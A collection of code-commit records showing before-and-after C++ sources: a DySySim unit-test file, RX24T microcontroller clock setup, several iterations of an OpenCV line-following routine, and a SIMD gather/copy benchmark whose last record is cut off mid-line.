{"text":"<commit_before>#include \"DySySim.h\"\n#include <unittest++\/UnitTest++.h>\n#include <iostream>\n\nnamespace dss = dysysim;\nusing namespace std;\n\nSUITE(DySySim)\n{\n   TEST(Attenuator) {\n      cout << \"-- Attenuator\" << endl;\n      dss::Attenuator att{1, 10.0};\n      att.input(1.0);\n      CHECK_EQUAL(0.1, att.output());\n   }\n\n   TEST(Gain) {\n      cout << \"-- Gain\" << endl;\n      dss::Gain gain{1, 10.0};\n      gain.input(1.0);\n      CHECK_EQUAL(10.0, gain.output());\n   }\n\n}\n\nint main() {\n   auto result = UnitTest::RunAllTests();\n   cout << endl;\n   return result;\n}\n<commit_msg>Added more DySySim tests.<commit_after>#include \"DySySim.h\"\n#include \"LibInfoDySySim.h\"\n#include <unittest++\/UnitTest++.h>\n#include <iostream>\n\nnamespace dss = dysysim;\nusing namespace std;\n\nconst double EPS {0.0001};\n\nSUITE(DySySim)\n{\n   TEST(Attenuator) {\n      cout << \"-- Attenuator\" << endl;\n      dss::Attenuator att{1, 10.0};\n      att.input(1.0);\n      CHECK_CLOSE(0.1, att.output(), EPS);\n      att.input(-1.0);\n      CHECK_CLOSE(-0.1, att.output(), EPS);\n   }\n\n   TEST(Gain) {\n      cout << \"-- Gain\" << endl;\n      dss::Gain gain{1, 10.0};\n      gain.input(1.0);\n      CHECK_CLOSE(10.0, gain.output(), EPS);\n      gain.input(-1.0);\n      CHECK_CLOSE(-10.0, gain.output(), EPS);\n   }\n\n   TEST(Time) {\n      cout << \"-- Time\" << endl;\n      dss::Time time{1, 0.1};\n      CHECK_CLOSE(0.0, time.output(), EPS);\n      time.next();\n      CHECK_CLOSE(0.1, time.output(), EPS);\n      time.next();\n      CHECK_CLOSE(0.2, time.output(), EPS);\n      for(int  i = 0; i < 10; ++i) {\n         time.next();\n      }\n      CHECK_CLOSE(1.2, time.output(), EPS);\n   }\n\n   TEST(Step) {\n      dss::Time time{1, 0.1};\n      cout << \"-- Step\" << endl;\n      dss::Step step{2, 0.0, 1.0, 0.3};\n      CHECK_CLOSE(0.0, step.output(), EPS);\n      time.next();\n      step.next();\n      CHECK_CLOSE(0.0, step.output(), EPS);\n      time.next();\n      step.next();\n      CHECK_CLOSE(1.0, step.output(), EPS);\n      time.next();\n      step.next();\n      CHECK_CLOSE(1.0, step.output(), EPS);\n      time.next();\n      step.next();\n      CHECK_CLOSE(1.0, step.output(), EPS);\n      time.next();\n      step.next();\n      CHECK_CLOSE(1.0, step.output(), EPS);\n   }\n}\n\nint main() {\n   cout << \"\\n== Tests DySySim lib: \" << dss::libVersion\n        << \" \" << string(50, '=') << endl << endl;\n\n   auto result = UnitTest::RunAllTests();\n\n   cout << endl << string(80, '=') << endl;\n\n   return result;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>FIX vulkan barrier for indirect buffer usage and initial data.<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*!\t@file\r\n\t@brief\tRX24T システム制御\r\n    @author 平松邦仁 (hira@rvf-rc45.net)\r\n\t@copyright\tCopyright (C) 2017, 2018 Kunihito Hiramatsu @n\r\n\t\t\t\tReleased under the MIT license @n\r\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include \"RX24T\/system.hpp\"\r\n#include \"RX24T\/flash.hpp\"\r\n\r\n#ifndef F_ICLK\r\n#  error \"system_io.hpp requires F_ICLK to be defined\"\r\n#endif\r\n\r\nnamespace device {\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  systen_io クラス\r\n\t\t@param[in]\tbase_clock\tベース・クロック周波数（標準：１０ＭＨｚ）\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\ttemplate <uint32_t base_clock = 10000000>\r\n\tstruct system_io {\r\n\r\n\t\t\/\/-------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  システム・クロックの設定\r\n\t\t\t@return エラーなら「false」\r\n\t\t*\/\r\n\t\t\/\/-------------------------------------------------------------\/\/\r\n\t\tstatic bool setup_system_clock()\r\n\t\t{\r\n\t\t\tdevice::SYSTEM::PRCR = 0xA500 | 0b0111;\t\/\/ クロック、低消費電力、関係書き込み許可\r\n\r\n\t\t\t\/\/ メモリーの WAIT 設定\r\n\t\t\tif(F_ICLK > 64000000) {\r\n\t\t\t\tdevice::SYSTEM::MEMWAIT = 0b10; \/\/ 64MHz 以上 wait 設定\r\n\t\t\t} else if(F_ICLK > 32000000) {\r\n\t\t\t\tdevice::SYSTEM::MEMWAIT = 0b01; \/\/ 32MHz 以上 64MHz 以下 wait 設定 \r\n\t\t\t} else {\r\n\t\t\t\tdevice::SYSTEM::MEMWAIT = 0b00; \/\/ wait 無し\r\n\t\t\t}\r\n\r\n\t\t\twhile(device::SYSTEM::OPCCR.OPCMTSF() != 0) asm(\"nop\");\r\n\t\t\tdevice::SYSTEM::OPCCR = 0;  \/\/ 高速モード選択\r\n\t\t\twhile(device::SYSTEM::OPCCR.OPCMTSF() != 0) asm(\"nop\");\r\n\r\n\t\t\tdevice::SYSTEM::MOSCWTCR = 9;\t\/\/ 4ms wait\r\n\t\t\t\/\/ メインクロック・ドライブ能力設定、内部発信\r\n\t\t\tdevice::SYSTEM::MOFCR = device::SYSTEM::MOFCR.MODRV21.b(1);\r\n\t\t\tdevice::SYSTEM::MOSCCR.MOSTP = 0;  \/\/ メインクロック発振器動作\r\n\t\t\twhile(device::SYSTEM::OSCOVFSR.MOOVF() == 0) asm(\"nop\");\r\n\r\n\t\t\t\/\/ ベースクロックからマルチプライヤを計算\r\n\t\t\tuint8_t x = F_ICLK * 2 \/ base_clock;\r\n\t\t\tif(x < (4 * 2) || x >= (16 * 2)) return false;\r\n\t\t\tx -= 1;\r\n\t\t\tdevice::SYSTEM::PLLCR.STC = x;\r\n\r\n\t\t\tuint32_t sysclk = ((static_cast<uint32_t>(x) + 1) * base_clock) \/ 2;\r\n\r\n\t\t\t\/\/ Max: 32MHz\r\n\t\t\tuint8_t fck = (sysclk \/ F_FCLK) - 1;\r\n\t\t\tif(fck > 6) return false;\r\n\r\n\t\t\tuint8_t ick = (sysclk \/ F_ICLK) - 1;\r\n\t\t\tif(ick > 6) return false;\r\n\r\n\t\t\tuint8_t pcka = (sysclk \/ F_PCLKA) - 1;\r\n\t\t\tif(pcka > 6) return false;\r\n\t\t\tuint8_t pckb = (sysclk \/ F_PCLKB) - 1;\r\n\t\t\tif(pckb > 6) return false;\r\n\t\t\tuint8_t pckd = (sysclk \/ F_PCLKD) - 1;\r\n\t\t\tif(pckd > 6) return false;\r\n\r\n\t\t\tdevice::SYSTEM::PLLCR2.PLLEN = 0;\t\t\t\/\/ PLL 動作\r\n\t\t\twhile(device::SYSTEM::OSCOVFSR.PLOVF() == 0) asm(\"nop\");\r\n\r\n\t\t\tdevice::SYSTEM::SCKCR = device::SYSTEM::SCKCR.FCK.b(fck)\r\n\t\t\t\t\t\t\t\t  | device::SYSTEM::SCKCR.ICK.b(ick)     \/\/ Max: 80MHz\r\n\t\t\t\t\t\t\t\t  | device::SYSTEM::SCKCR.PCKA.b(pcka)\t \/\/ Max: 80MHz\r\n\t\t\t\t\t\t\t\t  | device::SYSTEM::SCKCR.PCKB.b(pckb)\t \/\/ Max: 40MHz\r\n\t\t\t\t\t\t\t\t  | device::SYSTEM::SCKCR.PCKD.b(pckd);\t \/\/ Max: 40MHz\r\n\r\n\t\t\tdevice::SYSTEM::SCKCR3.CKSEL = 0b100;\t\/\/ PLL 選択\r\n\r\n\t\t\t\/\/ クロック関係書き込み不許可\r\n\t\t\tdevice::SYSTEM::PRCR = 0xA500;\r\n\r\n\t\t\t\/\/ ROM キャッシュを有効（標準）\r\n\t\t\tdevice::FLASH::ROMCE = 1;\r\n\r\n\t\t\treturn true;\r\n\t\t}\r\n\t};\r\n}\r\n<commit_msg>update: base clock manage<commit_after>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*!\t@file\r\n\t@brief\tRX24T システム制御\r\n    @author 平松邦仁 (hira@rvf-rc45.net)\r\n\t@copyright\tCopyright (C) 2017, 2018 Kunihito Hiramatsu @n\r\n\t\t\t\tReleased under the MIT license @n\r\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include \"RX24T\/system.hpp\"\r\n#include \"RX24T\/flash.hpp\"\r\n\r\n#ifndef F_ICLK\r\n#  error \"system_io.hpp requires F_ICLK to be defined\"\r\n#endif\r\n\r\nnamespace device {\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  systen_io クラス\r\n\t\t@param[in]\tBASE_CLOCK\tベース・クロック周波数（１０ＭＨｚ）\r\n\t\t@param[in]\tINTR_CLOCK\t内臓クロック周波数（８０ＭＨｚ）\r\n\t\t@param[in]\tEXT_CLOCK\t外部クロックに入力を行う場合「true」\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\ttemplate <uint32_t BASE_CLOCK = 10000000, uint32_t INTR_CLOCK = 80000000,\r\n\t\tbool EXT_CLOCK = false>\r\n\tstruct system_io {\r\n\r\n\t\tstatic uint8_t clock_div_(uint32_t clk) noexcept\r\n\t\t{\r\n\t\t\tuint8_t div = 0;\r\n\t\t\twhile(clk < INTR_CLOCK) {\r\n\t\t\t\t++div;\r\n\t\t\t\tclk <<= 1;\r\n\t\t\t}\r\n\t\t\treturn div;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  システム・クロックの設定\r\n\t\t\t@return エラーなら「false」\r\n\t\t*\/\r\n\t\t\/\/-------------------------------------------------------------\/\/\r\n\t\tstatic bool setup_system_clock()\r\n\t\t{\r\n\t\t\tdevice::SYSTEM::PRCR = 0xA500 | 0b0111;\t\/\/ クロック、低消費電力、関係書き込み許可\r\n\r\n\t\t\t\/\/ メモリーの WAIT 設定\r\n\t\t\tif(F_ICLK > 64000000) {\r\n\t\t\t\tdevice::SYSTEM::MEMWAIT = 0b10; \/\/ 64MHz 以上 wait 設定\r\n\t\t\t} else if(F_ICLK > 32000000) {\r\n\t\t\t\tdevice::SYSTEM::MEMWAIT = 0b01; \/\/ 32MHz 以上 64MHz 以下 wait 設定 \r\n\t\t\t} else {\r\n\t\t\t\tdevice::SYSTEM::MEMWAIT = 0b00; \/\/ wait 無し\r\n\t\t\t}\r\n\r\n\t\t\twhile(device::SYSTEM::OPCCR.OPCMTSF() != 0) asm(\"nop\");\r\n\t\t\tdevice::SYSTEM::OPCCR = 0;  \/\/ 高速モード選択\r\n\t\t\twhile(device::SYSTEM::OPCCR.OPCMTSF() != 0) asm(\"nop\");\r\n\r\n\t\t\tdevice::SYSTEM::MOSCWTCR = 9;\t\/\/ 4ms wait\r\n\t\t\t\/\/ メインクロック・ドライブ能力設定、内部発信\r\n\t\t\tbool xtal = BASE_CLOCK >= 10000000;\r\n\t\t\tdevice::SYSTEM::MOFCR = device::SYSTEM::MOFCR.MODRV21.b(xtal)\r\n\t\t\t\t| device::SYSTEM::MOFCR.MOSEL.b(EXT_CLOCK);\r\n\t\t\tdevice::SYSTEM::MOSCCR.MOSTP = 0;  \/\/ メインクロック発振器動作\r\n\t\t\twhile(device::SYSTEM::OSCOVFSR.MOOVF() == 0) asm(\"nop\");\r\n\r\n\t\t\t\/\/ (x10.0) 0b010011, (x10.5) 0b010100, (x11.0) 0b010101, (x11.5) 0b010110\r\n\t\t\t\/\/ ... MAX x30.0\r\n\t\t\tuint32_t n = INTR_CLOCK * 2 \/ BASE_CLOCK;\r\n\t\t\tif(n < 20) n = 20;\r\n\t\t\telse if(n > 60) n = 60;\r\n\t\t\tn -= 20;\r\n\t\t\tdevice::SYSTEM::PLLCR.STC = n + 0b010011;\r\n\r\n\t\t\tdevice::SYSTEM::PLLCR2.PLLEN = 0;\t\t\t\/\/ PLL 動作\r\n\t\t\twhile(device::SYSTEM::OSCOVFSR.PLOVF() == 0) asm(\"nop\");\r\n\r\n\t\t\tdevice::SYSTEM::SCKCR = device::SYSTEM::SCKCR.FCK.b(clock_div_(F_FCLK))\r\n\t\t\t\t\t\t\t\t  | device::SYSTEM::SCKCR.ICK.b(clock_div_(F_ICLK))\r\n\t\t\t\t\t\t\t\t  | device::SYSTEM::SCKCR.PCKA.b(clock_div_(F_PCLKA))\r\n\t\t\t\t\t\t\t\t  | device::SYSTEM::SCKCR.PCKB.b(clock_div_(F_PCLKB))\r\n\t\t\t\t\t\t\t\t  | device::SYSTEM::SCKCR.PCKD.b(clock_div_(F_PCLKD));\r\n\r\n\t\t\tdevice::SYSTEM::SCKCR3.CKSEL = 0b100;\t\/\/ PLL 選択\r\n\r\n\t\t\t\/\/ クロック関係書き込み不許可\r\n\t\t\tdevice::SYSTEM::PRCR = 0xA500;\r\n\r\n\t\t\t\/\/ ROM キャッシュを有効（標準）\r\n\t\t\tdevice::FLASH::ROMCE = 1;\r\n\r\n\t\t\treturn true;\r\n\t\t}\r\n\t};\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n  line_main();\n\n  return ControlMovements();\n}\n\nvoid line_main() {\n\/\/  printf(\"Hello, this is Caleb\\n\");\n\n  VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n  if (!cap.isOpened())  \/\/ check if we succeeded\n    return;\n\n  namedWindow(\"edges\", CV_WINDOW_NORMAL);\n\/\/  Mat edges;\n  for (; ;) {\n    Mat mask;\n    Mat frame, hsv;\n    cap >> frame; \/\/ get a new frame from camera\n\n    cvtColor(frame, hsv, CV_BGR2HSV);\n\n    double minH = 30;\n    double minS = 0;\n    double minV = 240;\n    double maxH = 80;\n    double maxS = 70;\n    double maxV = 255;\n\n    cv::Scalar lower(minH, minS, minV);\n    cv::Scalar upper(maxH, maxS, maxV);\n    cv::inRange(hsv, lower, upper, mask);\n\n\/\/    bitwise_and(frame, frame, frame, mask);\n\n\n\n    erode(mask, mask, Mat(), Point(-1, -1), 5);\n    medianBlur(mask, mask, 5);\n    medianBlur(mask, mask, 5);\n    medianBlur(mask, mask, 5);\n\n    vector<Vec4i> lines;\n    HoughLines(mask, lines, 1, CV_PI \/ 180.0, 10);\n\n    printf(\"Adding in %d lines\\n\", (int) lines.size());\n    for (size_t i = 0; i < lines.size(); i++) {\n      float rho = lines[i][0], theta = lines[i][1];\n      Point pt1, pt2;\n      double a = cos(theta), b = sin(theta);\n      double x0 = a * rho, y0 = b * rho;\n      pt1.x = cvRound(x0 + 1000 * (-b));\n      pt1.y = cvRound(y0 + 1000 * (a));\n      pt2.x = cvRound(x0 - 1000 * (-b));\n      pt2.y = cvRound(y0 - 1000 * (a));\n      line(frame, pt1, pt2, Scalar(0, 0, 255), 3, CV_AA);\n    }\n\/\/    if (lines.size() < 1) continue;\n\n    imshow(\"edges\", mask);\n    if (waitKey(30) >= 0) break;\n\n  }\n  \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n  return;\n}\n<commit_msg>messing with erode<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n  line_main();\n\n  return ControlMovements();\n}\n\nvoid line_main() {\n\/\/  printf(\"Hello, this is Caleb\\n\");\n\n  VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n  if (!cap.isOpened())  \/\/ check if we succeeded\n    return;\n\n  namedWindow(\"edges\", CV_WINDOW_NORMAL);\n\/\/  Mat edges;\n  for (; ;) {\n    Mat mask;\n    Mat frame, hsv;\n    cap >> frame; \/\/ get a new frame from camera\n\n    cvtColor(frame, hsv, CV_BGR2HSV);\n\n    double minH = 30;\n    double minS = 0;\n    double minV = 240;\n    double maxH = 80;\n    double maxS = 70;\n    double maxV = 255;\n\n    cv::Scalar lower(minH, minS, minV);\n    cv::Scalar upper(maxH, maxS, maxV);\n    cv::inRange(hsv, lower, upper, mask);\n\n\/\/    bitwise_and(frame, frame, frame, mask);\n\n\n\n\/\/    erode(mask, mask, Mat(), Point(-1, -1), 5);\n\/\/    medianBlur(mask, mask, 5);\n\/\/    medianBlur(mask, mask, 5);\n\/\/    medianBlur(mask, mask, 5);\n\n    vector<Vec2f> lines;\n    HoughLines(mask, lines, 1, CV_PI\/180, 100, 0, 0 );\n\n    printf(\"Adding in %d lines\\n\", (int) lines.size());\n    for (size_t i = 0; i < lines.size(); i++) {\n      float rho = lines[i][0], theta = lines[i][1];\n      Point pt1, pt2;\n      double a = cos(theta), b = sin(theta);\n      double x0 = a * rho, y0 = b * rho;\n      pt1.x = cvRound(x0 + 1000 * (-b));\n      pt1.y = cvRound(y0 + 1000 * (a));\n      pt2.x = cvRound(x0 - 1000 * (-b));\n      pt2.y = cvRound(y0 - 1000 * (a));\n      line(frame, pt1, pt2, Scalar(0, 0, 255), 3, CV_AA);\n    }\n\/\/    if (lines.size() < 1) continue;\n\n    imshow(\"edges\", mask);\n    if (waitKey(30) >= 0) break;\n\n  }\n  \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n  return;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n  line_main();\n\n  return ControlMovements();\n}\n\nvoid line_main() {\n\/\/  printf(\"Hello, this is Caleb\\n\");\n\n  VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n  if (!cap.isOpened())  \/\/ check if we succeeded\n    return;\n\n  namedWindow(\"edges\", CV_WINDOW_NORMAL);\n\/\/  Mat edges;\n  for (; ;) {\n    Mat mask, hsv_mask;\n    Mat frame, hsv;\n    cap >> frame; \/\/ get a new frame from camera\n\n    cvtColor(frame, hsv, CV_BGR2HSV);\n\n    double minH = 30;\n    double minS = 0;\n    double minV = 240;\n    double maxH = 80;\n    double maxS = 70;\n    double maxV = 255;\n\n    cv::Scalar lower(minH, minS, minV);\n    cv::Scalar upper(maxH, maxS, maxV);\n    cv::inRange(hsv, lower, upper, mask);\n    \n    \/\/    low = Scalar(30, 0, 240);\n\/\/    high = Scalar(80, 70, 255);\n\n\/\/    inRange(hsv, Scalar(100, 0, 0), Scalar(255, 255, 255), mask);\n\n    bitwise_and(frame, frame, frame, mask);\n\n\/\/    cvtColor(mask, hsv_mask, CV_HS);\n\n    vector <Vec4i> lines;\n\/\/    HoughLinesP(mask, lines, 1, CV_PI \/ 180, 100, 100, 10);\n\n    printf(\"Adding in %d lines\\n\", (int) lines.size());\n    for (size_t i = 0; i < lines.size(); i++) {\n      Vec4i l = lines[i];\n      line(hsv_mask, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 3, CV_AA);\n    }\n\n\n    imshow(\"edges\", mask);\n    if (waitKey(30) >= 0) break;\n  }\n  \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n  return;\n}\n<commit_msg>debug mask<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n  line_main();\n\n  return ControlMovements();\n}\n\nvoid line_main() {\n\/\/  printf(\"Hello, this is Caleb\\n\");\n\n  VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n  if (!cap.isOpened())  \/\/ check if we succeeded\n    return;\n\n  namedWindow(\"edges\", CV_WINDOW_NORMAL);\n\/\/  Mat edges;\n  for (; ;) {\n    Mat mask, hsv_mask;\n    Mat frame, hsv;\n    cap >> frame; \/\/ get a new frame from camera\n\n    cvtColor(frame, hsv, CV_BGR2HSV);\n\n    double minH = 30;\n    double minS = 0;\n    double minV = 240;\n    double maxH = 80;\n    double maxS = 70;\n    double maxV = 255;\n\n    cv::Scalar lower(minH, minS, minV);\n    cv::Scalar upper(maxH, maxS, maxV);\n    cv::inRange(hsv, lower, upper, mask);\n    \n    \/\/    low = Scalar(30, 0, 240);\n\/\/    high = Scalar(80, 70, 255);\n\n\/\/    inRange(hsv, Scalar(100, 0, 0), Scalar(255, 255, 255), mask);\n\n\n\/\/    cvtColor(mask, hsv_mask, CV_HS);\n\n    vector <Vec4i> lines;\n    HoughLinesP(mask, lines, 1, CV_PI \/ 180, 100, 100, 10);\n\n    printf(\"Adding in %d lines\\n\", (int) lines.size());\n    for (size_t i = 0; i < lines.size(); i++) {\n      Vec4i l = lines[i];\n      line(frame, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 3, CV_AA);\n    }\n\n\n    imshow(\"edges\", frame);\n    if (waitKey(30) >= 0) break;\n  }\n  \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n  return;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n  line_main();\n\n  return ControlMovements();\n}\n\nvoid line_main() {\n\/\/  printf(\"Hello, this is Caleb\\n\");\n\n  VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n  if (!cap.isOpened())  \/\/ check if we succeeded\n    return;\n\n  namedWindow(\"edges\", CV_WINDOW_NORMAL);\n\/\/  Mat edges;\n  for (; ;) {\n    Mat mask;\n    Mat frame, hsv;\n    cap >> frame; \/\/ get a new frame from camera\n\n    cvtColor(frame, hsv, CV_BGR2HSV);\n\n    double minH = 30;\n    double minS = 0;\n    double minV = 240;\n    double maxH = 80;\n    double maxS = 70;\n    double maxV = 255;\n\n    cv::Scalar lower(minH, minS, minV);\n    cv::Scalar upper(maxH, maxS, maxV);\n    cv::inRange(hsv, lower, upper, mask);\n\n\/\/    bitwise_and(frame, frame, frame, mask);\n\n    resize(mask, mask, Size(), .5, .5);\n\n    vector <Vec4i> lines;\n    HoughLinesP(mask, lines, 1, CV_PI \/ 180.0, 10, 100, 10);\n\n    printf(\"Adding in %d lines\\n\", (int) lines.size());\n    for (size_t i = 0; i < lines.size(); i++) {\n      Vec4i l = lines[i];\n      line(frame, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 3, CV_AA);\n      \/\/ break;\n    }\n\/\/    if (lines.size() < 1) continue;\n\n    imshow(\"edges\", mask);\n    if (waitKey(30) >= 0) break;\n\n  }\n  \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n  return;\n}\n<commit_msg>size changes<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n  line_main();\n\n  return ControlMovements();\n}\n\nvoid line_main() {\n\/\/  printf(\"Hello, this is Caleb\\n\");\n\n  VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n  if (!cap.isOpened())  \/\/ check if we succeeded\n    return;\n\n  namedWindow(\"edges\", CV_WINDOW_NORMAL);\n\/\/  Mat edges;\n  for (; ;) {\n    Mat mask;\n    Mat frame, hsv;\n    cap >> frame; \/\/ get a new frame from camera\n\n    cvtColor(frame, hsv, CV_BGR2HSV);\n\n    double minH = 30;\n    double minS = 0;\n    double minV = 240;\n    double maxH = 80;\n    double maxS = 70;\n    double maxV = 255;\n\n    cv::Scalar lower(minH, minS, minV);\n    cv::Scalar upper(maxH, maxS, maxV);\n    cv::inRange(hsv, lower, upper, mask);\n\n\/\/    bitwise_and(frame, frame, frame, mask);\n\n    resize(mask, mask, Size(), .2, .2);\n\n    vector <Vec4i> lines;\n    HoughLinesP(mask, lines, 1, CV_PI \/ 180.0, 10, 100, 10);\n\n    printf(\"Adding in %d lines\\n\", (int) lines.size());\n    for (size_t i = 0; i < lines.size(); i++) {\n      Vec4i l = lines[i];\n      line(frame, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 3, CV_AA);\n      \/\/ break;\n    }\n\/\/    if (lines.size() < 1) continue;\n\n    imshow(\"edges\", mask);\n    if (waitKey(30) >= 0) break;\n\n  }\n  \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n  return;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"syrah\/FixedVector.h\"\n#include \"syrah\/CycleTimer.h\"\nusing namespace syrah;\nstatic const int VecWidth = 16;\nstatic const int kDefaultNumElements = 1024;\nstatic const int kNumWarmup = 16;\nstatic const int kNumBench  = 1024 * 16 * 16;\n\nfloat* randomFloats(int how_many, unsigned int seed) {\n  float* result = new float[how_many];\n  unsigned int lcg = seed;\n  for (int i = 0; i < how_many; i++) {\n    lcg = 1664525 * lcg + 1013904223;\n    result[i] = -10.f + 20.f * (lcg \/ 4294967296.f);\n  }\n  return result;\n}\n\nvoid gather_scalar(const float* input, float* output, const int* permute, int num_elements) {\n  for (int i = 0; i < num_elements; i++) {\n    output[i] = input[permute[i]];\n  }\n}\n\nvoid copy_scalar(const float* input, float* output, const int* permute, int num_elements) {\n  for (int i = 0; i < num_elements; i++) {\n    output[i] = input[i];\n  }\n}\n\nvoid copy_scalar_unroll16(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+= VecWidth) {\n#if 0\n    float* dst = &output[i];\n    const float* src = &input[i];\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n    *dst++ = *src++;\n#else\n    output[i + 0] = input[i + 0];\n    output[i + 1] = input[i + 1];\n    output[i + 2] = input[i + 2];\n    output[i + 3] = input[i + 3];\n\n    output[i + 4] = input[i + 4];\n    output[i + 5] = input[i + 5];\n    output[i + 6] = input[i + 6];\n    output[i + 7] = input[i + 7];\n\n    output[i + 8] = input[i + 8];\n    output[i + 9] = input[i + 9];\n    output[i + 10] = input[i + 10];\n    output[i + 11] = input[i + 11];\n\n    output[i + 12] = input[i + 12];\n    output[i + 13] = input[i + 13];\n    output[i + 14] = input[i + 14];\n    output[i + 15] = input[i + 15];\n#endif\n  }\n  if (vec_end != num_elements) {\n    for (int i = vec_end; i < num_elements; i++) {\n      output[i] = input[i];\n    }\n  }\n}\n\nvoid memcpy_scalar(const float* input, float* output, const int* permute, int num_elements) {\n  memcpy(output, input, sizeof(float) * num_elements);\n}\n\nvoid reverse_scalar(const float* input, float* output, const int* permute, int num_elements) {\n  for (int i = 0; i < num_elements; i++) {\n    output[i] = input[num_elements - 1 - i];\n  }\n}\n\nvoid reverse_scalar_unroll16(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+= VecWidth) {\n    float* dst = &output[i];\n    const float* src = &input[num_elements - 1 - i];\n    \/\/ NOTE(boulos): This version is much faster than doing array\n    \/\/ indexing while above they're similar with arrays being faster.\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n    *dst++ = *src--;\n  }\n  for (int i = vec_end; i < num_elements; i++) {\n    output[i] = input[num_elements - 1 - i];\n  }\n}\n\n\nvoid gather_vector(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+=VecWidth) {\n    FixedVector<int, VecWidth> gather_indices(&permute[i], true);\n    FixedVector<float, VecWidth> gathered;\n    gathered.gather(input, gather_indices, sizeof(float));\n    gathered.store_aligned(&(output[i]));\n  }\n  if (vec_end != num_elements) {\n    int i = vec_end;\n    FixedVectorMask<VecWidth> store_mask = FixedVectorMask<VecWidth>::FirstN(num_elements - vec_end);\n    FixedVector<int, VecWidth> gather_indices(&permute[i], true);\n    FixedVector<float, VecWidth> gathered;\n    gathered.gather(input, gather_indices, sizeof(float), store_mask);\n    gathered.store_aligned(&(output[i]), store_mask);\n  }\n}\n\nvoid copy_vector(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+=VecWidth) {\n    FixedVector<float, VecWidth> gathered(&input[i], true);\n    gathered.store_aligned(&(output[i]));\n  }\n  if (vec_end != num_elements) {\n    int i = vec_end;\n    FixedVectorMask<VecWidth> store_mask = FixedVectorMask<VecWidth>::FirstN(num_elements - vec_end);\n    FixedVector<float, VecWidth> gathered(&input[i], true);\n    gathered.store_aligned(&(output[i]), store_mask);\n  }\n}\n\nvoid reverse_vector(const float* input, float* output, const int* permute, int num_elements) {\n  int vec_end = num_elements & (~(VecWidth-1));\n  for (int i = 0; i < vec_end; i+=VecWidth) {\n    \/\/ Load the vecwidth stuff, and then do it backwards\n    FixedVector<float, VecWidth> gathered(&input[num_elements - i - VecWidth], true);\n    gathered = 